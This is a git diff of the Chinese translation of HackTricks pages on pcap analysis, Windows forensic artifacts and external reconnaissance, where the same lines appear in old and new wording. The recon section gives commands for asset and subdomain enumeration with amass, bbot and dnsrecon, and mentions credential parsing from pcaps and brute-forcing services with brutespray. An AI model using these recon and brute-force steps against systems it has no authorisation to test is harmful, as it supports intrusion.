像 Xplico 一样,它是一个 **分析和提取 pcaps 中对象** 的工具。它有一个免费版可以 **下载** [**这里**](https://www.netresec.com/?page=NetworkMiner)。它在 **Windows** 上工作。\
|
||||
像 Xplico 一样,它是一个 **分析和提取 pcaps 中对象** 的工具。它有一个免费版,你可以 **下载** [**这里**](https://www.netresec.com/?page=NetworkMiner)。它适用于 **Windows**。\
|
||||
这个工具也有助于从数据包中获取 **其他信息分析**,以便能够更 **快速** 地了解发生了什么。
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
您可以从 [**这里下载 NetWitness Investigator**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(它在 Windows 上工作)**。\
|
||||
你可以从 [**这里下载 NetWitness Investigator**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(它适用于 Windows)**。\
|
||||
这是另一个有用的工具,**分析数据包** 并以有用的方式整理信息,以 **了解内部发生的事情**。
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
@ -80,23 +80,23 @@ capinfos capture.pcap
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### 切割
|
||||
### Carving
|
||||
|
||||
使用常见的切割技术可以从 pcap 中提取文件和信息:
|
||||
使用常见的雕刻技术可以从 pcap 中提取文件和信息:
|
||||
|
||||
{{#ref}}
|
||||
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### 捕获凭证
|
||||
### Capturing credentials
|
||||
|
||||
您可以使用工具如 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) 从 pcap 或实时接口中解析凭证。
|
||||
您可以使用工具如 [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) 从 pcap 或实时接口中解析凭据。
|
||||
|
||||
## 检查漏洞/恶意软件
|
||||
## Check Exploits/Malware
|
||||
|
||||
### Suricata
|
||||
|
||||
**安装和设置**
|
||||
**Install and setup**
|
||||
```
|
||||
apt-get install suricata
|
||||
apt-get install oinkmaster
|
||||
@ -200,14 +200,17 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## 其他 pcap 分析技巧
|
||||
|
||||
|
||||
{{#ref}}
|
||||
dnscat-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
wifi-pcap-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
usb-keystrokes.md
|
||||
{{#endref}}
|
||||
|
||||
@ -1,4 +1,8 @@
|
||||
这里您可以找到针对特定文件类型和/或软件的有趣技巧:
|
||||
# 特定软件/文件类型技巧
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
在这里你可以找到针对特定文件类型和/或软件的有趣技巧:
|
||||
|
||||
{{#ref}}
|
||||
.pyc.md
|
||||
|
||||
@ -2,29 +2,29 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Generic Windows Artifacts
|
||||
## 通用 Windows 伪影
|
||||
|
||||
### Windows 10 Notifications
|
||||
### Windows 10 通知
|
||||
|
||||
在路径 `\Users\<username>\AppData\Local\Microsoft\Windows\Notifications` 中,您可以找到数据库 `appdb.dat`(在 Windows 周年更新之前)或 `wpndatabase.db`(在 Windows 周年更新之后)。
|
||||
|
||||
在这个 SQLite 数据库中,您可以找到 `Notification` 表,其中包含所有可能包含有趣数据的通知(以 XML 格式)。
|
||||
在这个 SQLite 数据库中,您可以找到 `Notification` 表,里面包含所有的通知(以 XML 格式),可能包含有趣的数据。
|
||||
|
||||
### Timeline
|
||||
### 时间线
|
||||
|
||||
Timeline 是 Windows 的一个特性,提供 **访问过的网页、编辑的文档和执行的应用程序的时间顺序历史**。
|
||||
时间线是 Windows 的一个特性,提供 **访问过的网页、编辑的文档和执行的应用程序的时间顺序历史**。
|
||||
|
||||
数据库位于路径 `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`。这个数据库可以使用 SQLite 工具或工具 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) 打开,**该工具生成 2 个可以使用工具** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **打开的文件**。
|
||||
数据库位于路径 `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`。这个数据库可以用 SQLite 工具打开,或者用工具 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **生成的 2 个文件,这些文件可以用工具** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) **打开**。
|
||||
|
||||
### ADS (Alternate Data Streams)
|
||||
### ADS(备用数据流)
|
||||
|
||||
下载的文件可能包含 **ADS Zone.Identifier**,指示 **它是如何** 从内网、互联网等 **下载的**。一些软件(如浏览器)通常会提供更多 **信息**,例如文件下载的 **URL**。
|
||||
下载的文件可能包含 **ADS Zone.Identifier**,指示 **它是如何** 从内网、互联网等 **下载的**。一些软件(如浏览器)通常会提供更多的信息,例如文件下载的 **URL**。
|
||||
|
||||
## **File Backups**
|
||||
## **文件备份**
|
||||
|
||||
### Recycle Bin
|
||||
### 回收站
|
||||
|
||||
在 Vista/Win7/Win8/Win10 中,**回收站**可以在驱动器根目录的文件夹 **`$Recycle.bin`** 中找到(`C:\$Recycle.bin`)。\
|
||||
在 Vista/Win7/Win8/Win10 中,**回收站** 可以在驱动器根目录的文件夹 **`$Recycle.bin`** 中找到(`C:\$Recycle.bin`)。\
|
||||
当在此文件夹中删除文件时,会创建 2 个特定文件:
|
||||
|
||||
- `$I{id}`: 文件信息(删除日期}
|
||||
@ -38,46 +38,46 @@ Timeline 是 Windows 的一个特性,提供 **访问过的网页、编辑的
|
||||
```
|
||||
 (1) (1) (1).png>)
|
||||
|
||||
### 卷影副本
|
||||
### 卷影复制
|
||||
|
||||
卷影副本是微软Windows中包含的一项技术,可以创建计算机文件或卷的**备份副本**或快照,即使在使用中也可以。
|
||||
卷影复制是微软Windows中包含的一项技术,可以创建计算机文件或卷的**备份副本**或快照,即使在使用时也可以。
|
||||
|
||||
这些备份通常位于文件系统根目录下的`\System Volume Information`中,名称由以下图像中显示的**UIDs**组成:
|
||||
这些备份通常位于文件系统根目录下的 `\System Volume Information` 中,名称由以下图像中显示的**UIDs**组成:
|
||||
|
||||
.png>)
|
||||
|
||||
使用**ArsenalImageMounter**挂载取证镜像后,可以使用工具[**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html)检查卷影副本,甚至**提取文件**。
|
||||
使用**ArsenalImageMounter**挂载取证镜像后,可以使用工具 [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) 检查卷影复制,甚至**提取文件**。
|
||||
|
||||
.png>)
|
||||
|
||||
注册表项`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`包含**不备份**的文件和键:
|
||||
注册表项 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` 包含**不备份**的文件和键:
|
||||
|
||||
.png>)
|
||||
|
||||
注册表`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS`也包含有关`卷影副本`的配置信息。
|
||||
注册表 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` 还包含有关 `卷影复制` 的配置信息。
|
||||
|
||||
### Office自动保存的文件
|
||||
### Office 自动保存文件
|
||||
|
||||
您可以在以下位置找到Office自动保存的文件:`C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
您可以在以下位置找到Office自动保存的文件: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## Shell项目
|
||||
## Shell 项
|
||||
|
||||
Shell项目是包含有关如何访问另一个文件的信息的项目。
|
||||
Shell 项是包含有关如何访问另一个文件的信息的项。
|
||||
|
||||
### 最近文档 (LNK)
|
||||
|
||||
Windows会在用户**打开、使用或创建文件**时**自动****创建**这些**快捷方式**:
|
||||
Windows **自动** **创建** 这些 **快捷方式** 当用户 **打开、使用或创建文件** 时,位置如下:
|
||||
|
||||
- Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
当创建一个文件夹时,也会创建指向该文件夹、父文件夹和祖父文件夹的链接。
|
||||
当创建文件夹时,还会创建指向该文件夹、父文件夹和祖父文件夹的链接。
|
||||
|
||||
这些自动创建的链接文件**包含有关来源的信息**,例如它是**文件**还是**文件夹**、该文件的**MAC** **时间**、文件存储的**卷信息**以及**目标文件的文件夹**。这些信息在文件被删除的情况下可以用于恢复这些文件。
|
||||
这些自动创建的链接文件**包含有关来源的信息**,例如它是一个**文件** **还是**一个**文件夹**,该文件的**MAC** **时间**,文件存储的**卷信息**以及**目标文件的文件夹**。这些信息在文件被删除的情况下可以用于恢复这些文件。
|
||||
|
||||
此外,链接文件的**创建日期**是原始文件**首次****使用**的**时间**,而链接文件的**修改日期**是原始文件**最后****使用**的**时间**。
|
||||
此外,链接文件的**创建日期**是原始文件**首次** **使用**的**时间**,而链接文件的**修改日期**是原始文件**最后** **使用**的**时间**。
|
||||
|
||||
要检查这些文件,您可以使用[**LinkParser**](http://4discovery.com/our-tools/)。
|
||||
要检查这些文件,您可以使用 [**LinkParser**](http://4discovery.com/our-tools/)。
|
||||
|
||||
在此工具中,您将找到**2组**时间戳:
|
||||
|
||||
@ -92,7 +92,7 @@ Windows会在用户**打开、使用或创建文件**时**自动****创建**这
|
||||
|
||||
第一组时间戳引用的是**文件本身的时间戳**。第二组引用的是**链接文件的时间戳**。
|
||||
|
||||
您可以通过运行Windows CLI工具[**LECmd.exe**](https://github.com/EricZimmerman/LECmd)获取相同的信息。
|
||||
您可以通过运行Windows CLI工具 [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) 获取相同的信息。
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
@ -106,7 +106,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
|
||||
自定义的 jumplists 存储在 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`,通常是因为文件发生了某些 **重要** 事件(可能被标记为收藏)。
|
||||
|
||||
任何 jumplist 的 **创建时间** 表示 **文件首次访问的时间**,**修改时间** 表示最后一次访问的时间。
|
||||
任何 jumplist 的 **创建时间** 表示 **文件首次访问的时间**,**修改时间为最后一次**。
|
||||
|
||||
您可以使用 [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) 检查 jumplists。
|
||||
|
||||
@ -126,7 +126,7 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
- Microsoft Office Recent Folder
|
||||
- Jumplists
|
||||
|
||||
请注意,某些 LNK 文件不是指向原始路径,而是指向 WPDNSE 文件夹:
|
||||
请注意,一些 LNK 文件不是指向原始路径,而是指向 WPDNSE 文件夹:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -134,13 +134,13 @@ WPDNSE 文件夹中的文件是原始文件的副本,因此在 PC 重启后不
|
||||
|
||||
### 注册表信息
|
||||
|
||||
[查看此页面以了解](interesting-windows-registry-keys.md#usb-information) 哪些注册表键包含有关 USB 连接设备的有趣信息。
|
||||
[查看此页面以了解](interesting-windows-registry-keys.md#usb-information) 哪些注册表键包含有关连接的 USB 设备的有趣信息。
|
||||
|
||||
### setupapi
|
||||
|
||||
检查文件 `C:\Windows\inf\setupapi.dev.log` 以获取 USB 连接产生的时间戳(搜索 `Section start`)。
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
@ -148,9 +148,9 @@ WPDNSE 文件夹中的文件是原始文件的副本,因此在 PC 重启后不
|
||||
|
||||
.png>)
|
||||
|
||||
### 插拔清理
|
||||
### Plug and Play Cleanup
|
||||
|
||||
名为“插拔清理”的计划任务主要用于删除过时的驱动程序版本。与其指定的保留最新驱动程序包版本的目的相反,在线来源表明它还会针对过去 30 天未活动的驱动程序。因此,过去 30 天未连接的可移动设备的驱动程序可能会被删除。
|
||||
名为“Plug and Play Cleanup”的计划任务主要用于删除过时的驱动程序版本。与其指定的保留最新驱动程序包版本的目的相反,在线来源表明它还针对过去 30 天未活动的驱动程序。因此,过去 30 天未连接的可移动设备的驱动程序可能会被删除。
|
||||
|
||||
该任务位于以下路径:`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。
|
||||
|
||||
@ -170,7 +170,7 @@ WPDNSE 文件夹中的文件是原始文件的副本,因此在 PC 重启后不
|
||||
|
||||
## 电子邮件
|
||||
|
||||
电子邮件包含 **2 个有趣的部分:电子邮件的标题和内容**。在 **标题** 中,您可以找到以下信息:
|
||||
电子邮件包含 **两个有趣的部分:电子邮件的标题和内容**。在 **标题** 中,您可以找到以下信息:
|
||||
|
||||
- **谁** 发送了电子邮件(电子邮件地址、IP、重定向电子邮件的邮件服务器)
|
||||
- **何时** 发送了电子邮件
|
||||
@ -179,7 +179,7 @@ WPDNSE 文件夹中的文件是原始文件的副本,因此在 PC 重启后不
|
||||
|
||||
.png>)
|
||||
|
||||
### Windows 邮件应用
|
||||
### Windows Mail 应用
|
||||
|
||||
此应用程序以 HTML 或文本格式保存电子邮件。您可以在 `\Users\<username>\AppData\Local\Comms\Unistore\data\3\` 的子文件夹中找到电子邮件。电子邮件以 `.dat` 扩展名保存。
|
||||
|
||||
@ -194,7 +194,7 @@ WPDNSE 文件夹中的文件是原始文件的副本,因此在 PC 重启后不
|
||||
- `Mapi-Client-Submit-Time`:发送电子邮件时系统的时间
|
||||
- `Mapi-Conversation-Index`:线程的子消息数量和每条消息的时间戳
|
||||
- `Mapi-Entry-ID`:消息标识符。
|
||||
- `Mappi-Message-Flags` 和 `Pr_last_Verb-Executed`:有关 MAPI 客户端的信息(消息已读?未读?已回复?已重定向?不在办公室?)
|
||||
- `Mappi-Message-Flags` 和 `Pr_last_Verb-Executed`:有关 MAPI 客户端的信息(消息已读?未读?已回复?重定向?不在办公室?)
|
||||
|
||||
在 Microsoft Outlook 客户端中,所有发送/接收的消息、联系人数据和日历数据都存储在 PST 文件中,路径为:
|
||||
|
||||
@ -211,12 +211,12 @@ WPDNSE 文件夹中的文件是原始文件的副本,因此在 PC 重启后不
|
||||
|
||||
**OST 文件** 是 Microsoft Outlook 在配置为 **IMAP** 或 **Exchange** 服务器时生成的,存储与 PST 文件类似的信息。此文件与服务器同步,保留 **过去 12 个月** 的数据,最大大小为 50GB,并位于与 PST 文件相同的目录中。要查看 OST 文件,可以使用 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)。
|
||||
|
||||
### 恢复附件
|
||||
### 检索附件
|
||||
|
||||
丢失的附件可能可以从以下位置恢复:
|
||||
|
||||
- 对于 **IE10**:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- 对于 **IE11 及更高版本**:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
- 对于 **IE11 及以上**:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX 文件
|
||||
|
||||
@ -242,7 +242,7 @@ Windows 注册表存储大量系统和用户活动数据,包含在以下文件
|
||||
一些工具对于分析注册表文件非常有用:
|
||||
|
||||
- **注册表编辑器**:它安装在 Windows 中。它是一个 GUI,用于浏览当前会话的 Windows 注册表。
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md):它允许您加载注册表文件并通过 GUI 浏览。它还包含书签,突出显示具有有趣信息的键。
|
||||
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md):它允许您加载注册表文件并通过 GUI 浏览它们。它还包含书签,突出显示具有有趣信息的键。
|
||||
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0):同样,它具有一个 GUI,允许浏览加载的注册表,并且还包含突出显示加载的注册表中有趣信息的插件。
|
||||
- [**Windows 注册表恢复**](https://www.mitec.cz/wrr.html):另一个 GUI 应用程序,能够从加载的注册表中提取重要信息。
|
||||
|
||||
@ -262,6 +262,7 @@ Windows 注册表存储大量系统和用户活动数据,包含在以下文件
|
||||
|
||||
### Windows 注册表中的有趣条目
|
||||
|
||||
|
||||
{{#ref}}
|
||||
interesting-windows-registry-keys.md
|
||||
{{#endref}}
|
||||
@ -274,9 +275,9 @@ interesting-windows-registry-keys.md
|
||||
|
||||
### Windows Recent APPs
|
||||
|
||||
在注册表 `NTUSER.DAT` 中的路径 `Software\Microsoft\Current Version\Search\RecentApps` 中,您可以找到有关 **执行的应用程序**、**最后一次** 执行的时间和 **启动次数** 的子键。
|
||||
在注册表 `NTUSER.DAT` 的路径 `Software\Microsoft\Current Version\Search\RecentApps` 中,您可以找到有关 **执行的应用程序**、**最后一次** 执行的时间和 **启动次数** 的子键。
|
||||
|
||||
### BAM(后台活动调节器)
|
||||
### BAM (后台活动调节器)
|
||||
|
||||
您可以使用注册表编辑器打开 `SYSTEM` 文件,在路径 `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` 中找到有关 **每个用户执行的应用程序** 的信息(注意路径中的 `{SID}`)以及 **它们执行的时间**(时间在注册表的 Data 值中)。
|
||||
|
||||
@ -290,7 +291,7 @@ Windows 预取由创建 **已执行程序的缓存** 组成,以便能够更快
|
||||
|
||||
文件 `C:\Windows\Prefetch\Layout.ini` 包含 **被预取文件的文件夹名称**。该文件包含 **执行次数**、**执行日期** 和 **程序打开的文件** 的信息。
|
||||
|
||||
要检查这些文件,您可以使用工具 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
要检查这些文件,您可以使用工具 [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
```bash
|
||||
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
|
||||
```
|
||||
@ -340,7 +341,7 @@ Windows 预取由创建 **已执行程序的缓存** 组成,以便能够更快
|
||||
- 对于 XP,数据存储在 `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` 下,最多可容纳 96 个条目。
|
||||
- 对于 Server 2003,以及 Windows 版本 2008、2012、2016、7、8 和 10,存储路径为 `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`,分别可容纳 512 和 1024 个条目。
|
||||
|
||||
要解析存储的信息,建议使用 [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser)。
|
||||
要解析存储的信息,推荐使用 [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser)。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -380,19 +381,19 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
|
||||
在该数据库的应用程序表中,可以找到列:“Application ID”、“PackageNumber”和“Display Name”。这些列包含有关预安装和已安装应用程序的信息,如果某些应用程序被卸载,可以找到,因为已安装应用程序的 ID 应该是连续的。
|
||||
|
||||
您还可以在注册表路径 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\` 中 **找到已安装的应用程序**,\
|
||||
在 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` 中 **找到已卸载的应用程序**。
|
||||
并在 `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` 中找到 **已卸载的应用程序**。
|
||||
|
||||
## Windows 事件
|
||||
|
||||
Windows 事件中出现的信息包括:
|
||||
|
||||
- 发生了什么
|
||||
- 时间戳(UTC + 0)
|
||||
- 时间戳 (UTC + 0)
|
||||
- 相关用户
|
||||
- 相关主机(主机名,IP)
|
||||
- 访问的资产(文件,文件夹,打印机,服务)
|
||||
- 相关主机 (主机名,IP)
|
||||
- 访问的资产 (文件,文件夹,打印机,服务)
|
||||
|
||||
日志位于 `C:\Windows\System32\config`(在 Windows Vista 之前)和 `C:\Windows\System32\winevt\Logs`(在 Windows Vista 之后)。在 Windows Vista 之前,事件日志是二进制格式,之后则为 **XML 格式**,并使用 **.evtx** 扩展名。
|
||||
日志位于 `C:\Windows\System32\config`(在 Windows Vista 之前)和 `C:\Windows\System32\winevt\Logs`(在 Windows Vista 之后)。在 Windows Vista 之前,事件日志是二进制格式,而之后则是 **XML 格式**,并使用 **.evtx** 扩展名。
|
||||
|
||||
事件文件的位置可以在 SYSTEM 注册表中找到,路径为 **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**。
|
||||
|
||||
@ -427,11 +428,11 @@ Windows 事件中出现的信息包括:
|
||||
#### EventID 4625 的状态和子状态代码:
|
||||
|
||||
- **0xC0000064**:用户名不存在 - 可能表示用户名枚举攻击。
|
||||
- **0xC000006A**:正确的用户名但密码错误 - 可能是密码猜测或暴力破解尝试。
|
||||
- **0xC000006A**:正确的用户名但错误的密码 - 可能是密码猜测或暴力破解尝试。
|
||||
- **0xC0000234**:用户账户被锁定 - 可能是在暴力攻击后导致多次登录失败。
|
||||
- **0xC0000072**:账户已禁用 - 未经授权尝试访问禁用账户。
|
||||
- **0xC0000072**:账户被禁用 - 未经授权访问禁用账户的尝试。
|
||||
- **0xC000006F**:在允许的时间外登录 - 表示在设定的登录时间之外的访问尝试,可能是未经授权的访问迹象。
|
||||
- **0xC0000070**:违反工作站限制 - 可能是尝试从未经授权的位置登录。
|
||||
- **0xC0000070**:违反工作站限制 - 可能是从未经授权的位置尝试登录。
|
||||
- **0xC0000193**:账户过期 - 使用过期用户账户的访问尝试。
|
||||
- **0xC0000071**:密码过期 - 使用过时密码的登录尝试。
|
||||
- **0xC0000133**:时间同步问题 - 客户端和服务器之间的大时间差异可能表明更复杂的攻击,如票据传递攻击。
|
||||
|
||||
@ -4,31 +4,31 @@
|
||||
|
||||
## 资产发现
|
||||
|
||||
> 所以你被告知某家公司所有的东西都在范围内,你想弄清楚这家公司实际上拥有些什么。
|
||||
> 所以你被告知某家公司所有的东西都在范围内,你想弄清楚这家公司实际上拥有什么。
|
||||
|
||||
这个阶段的目标是获取**母公司拥有的所有公司**,然后获取这些公司的**资产**。为此,我们将:
|
||||
|
||||
1. 找到母公司的收购,这将给我们范围内的公司。
|
||||
2. 找到每个公司的ASN(如果有的话),这将给我们每个公司拥有的IP范围。
|
||||
3. 使用反向whois查找搜索与第一个相关的其他条目(组织名称、域名...)(这可以递归进行)。
|
||||
4. 使用其他技术,如shodan `org`和`ssl`过滤器搜索其他资产(`ssl`技巧可以递归进行)。
|
||||
3. 使用反向whois查找搜索与第一个相关的其他条目(组织名称、域名……)(这可以递归进行)。
|
||||
4. 使用其他技术,如shodan的`org`和`ssl`过滤器来搜索其他资产(`ssl`技巧可以递归进行)。
|
||||
|
||||
### **收购**
|
||||
|
||||
首先,我们需要知道**母公司拥有的其他公司**。\
|
||||
一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com),**搜索** **母公司**,并**点击**“**收购**”。在那里你将看到母公司收购的其他公司。\
|
||||
一个选项是访问[https://www.crunchbase.com/](https://www.crunchbase.com),**搜索**母公司,并**点击**“**收购**”。在那里你将看到母公司收购的其他公司。\
|
||||
另一个选项是访问母公司的**维基百科**页面并搜索**收购**。
|
||||
|
||||
> 好吧,到这个时候你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。
|
||||
> 好吧,到此为止你应该知道范围内的所有公司。让我们弄清楚如何找到它们的资产。
|
||||
|
||||
### **ASNs**
|
||||
|
||||
自治系统编号(**ASN**)是由**互联网分配号码管理局(IANA)**分配给**自治系统**(AS)的**唯一编号**。\
|
||||
一个**AS**由**IP地址**的**块**组成,这些块有明确的政策来访问外部网络,并由单一组织管理,但可能由多个运营商组成。
|
||||
一个**AS**由**IP地址块**组成,这些地址块有明确的政策来访问外部网络,并由单一组织管理,但可能由多个运营商组成。
|
||||
|
||||
找出**公司是否分配了任何ASN**以找到其**IP范围**是很有趣的。对所有**范围内的主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\
|
||||
找出**公司是否分配了任何ASN**以查找其**IP范围**是很有趣的。对范围内的所有**主机**进行**漏洞测试**并**查找这些IP内的域名**将是很有趣的。\
|
||||
你可以在[**https://bgp.he.net/**](https://bgp.he.net)**中按公司**名称、**IP**或**域名**进行**搜索**。\
|
||||
**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/)**(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的**有用信息**(IP范围和Whois)可能已经在第一个链接中出现。
|
||||
**根据公司的地区,这些链接可能对收集更多数据有用:** [**AFRINIC**](https://www.afrinic.net) **(非洲),** [**Arin**](https://www.arin.net/about/welcome/region/) **(北美),** [**APNIC**](https://www.apnic.net) **(亚洲),** [**LACNIC**](https://www.lacnic.net) **(拉丁美洲),** [**RIPE NCC**](https://www.ripe.net) **(欧洲)。无论如何,所有的**有用信息**(IP范围和Whois)**可能已经在第一个链接中出现。
|
||||
```bash
|
||||
#You can try "automate" this with amass, but it's not very recommended
|
||||
amass intel -org tesla
|
||||
@ -51,13 +51,13 @@ bbot -t tesla.com -f subdomain-enum
|
||||
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
|
||||
|
||||
```
|
||||
您可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围(它有免费的 API)。\
|
||||
您还可以使用 [http://asnlookup.com/](http://asnlookup.com) 查找组织的 IP 范围(它有免费的 API)。\
|
||||
您可以使用 [http://ipv4info.com/](http://ipv4info.com) 查找域名的 IP 和 ASN。
|
||||
|
||||
### **寻找漏洞**
|
||||
|
||||
在这一点上,我们知道 **范围内的所有资产**,所以如果您被允许,可以对所有主机启动一些 **漏洞扫描器**(Nessus, OpenVAS)。\
|
||||
此外,您可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查看本书以了解如何对多个可能运行的服务进行渗透测试。\
|
||||
此时我们已知 **范围内的所有资产**,因此如果您被允许,可以对所有主机启动一些 **漏洞扫描器**(Nessus, OpenVAS)。\
|
||||
此外,您还可以启动一些 [**端口扫描**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **或使用像** shodan **这样的服务来查找** 开放端口 **,根据您发现的内容,您应该** 查阅本书了解如何对多个可能运行的服务进行渗透测试。\
|
||||
**此外,值得一提的是,您还可以准备一些** 默认用户名 **和** 密码 **列表,并尝试使用 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) 进行** 暴力破解服务。
|
||||
|
||||
## 域名
|
||||
@ -70,7 +70,7 @@ _请注意,在以下提出的技术中,您还可以找到子域名,这些
|
||||
|
||||
### **反向 DNS**
|
||||
|
||||
由于您已经找到了域名的所有 IP 范围,您可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某个 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。
|
||||
由于您已找到域名的所有 IP 范围,因此可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某个 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。
|
||||
```bash
|
||||
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
|
||||
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
|
||||
@ -82,7 +82,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
|
||||
### **反向 Whois(循环)**
|
||||
|
||||
在 **whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**(例如,其他 whois 注册表中出现相同的电子邮件),您可以找到 **与公司相关的更多资产**。\
|
||||
在 **whois** 中,您可以找到很多有趣的 **信息**,如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**(例如其他 whois 注册表中出现相同的电子邮件),您可以找到 **与公司相关的更多资产**。\
|
||||
您可以使用在线工具,如:
|
||||
|
||||
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费**
|
||||
@ -93,14 +93,14 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费(仅 **100 次免费** 查询)
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - 不免费
|
||||
